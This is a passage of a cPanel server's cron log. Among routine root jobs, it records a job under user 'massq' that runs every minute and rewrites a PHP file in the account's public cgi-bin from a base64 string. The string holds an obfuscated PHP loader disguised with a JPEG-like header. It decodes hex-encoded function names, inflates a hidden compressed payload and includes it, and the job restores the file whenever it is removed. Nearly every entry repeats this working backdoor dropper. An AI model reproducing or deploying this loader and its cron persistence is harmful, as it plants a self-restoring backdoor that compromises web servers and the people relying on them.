&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:35:01 server CROND[5657]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 19:35:01 server CROND[5658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:35:01 server CROND[5659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:35:01 server CROND[5663]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 19:35:01 server CROND[5664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:36:01 server CROND[6481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:37:01 server CROND[7394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:38:01 server CROND[8267]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:39:01 server CROND[9255]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:39:01 server CROND[9256]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 19:40:01 server CROND[10075]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 19:40:01 server CROND[10076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:40:01 server CROND[10078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:40:01 server CROND[10079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:41:01 server CROND[10950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:42:01 server CROND[11903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:42:01 server CROND[11904]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 19:43:01 server CROND[12721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:44:01 server CROND[13074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:45:01 server CROND[13842]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:45:01 server CROND[13843]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:45:01 server CROND[13845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:46:01 server CROND[14767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
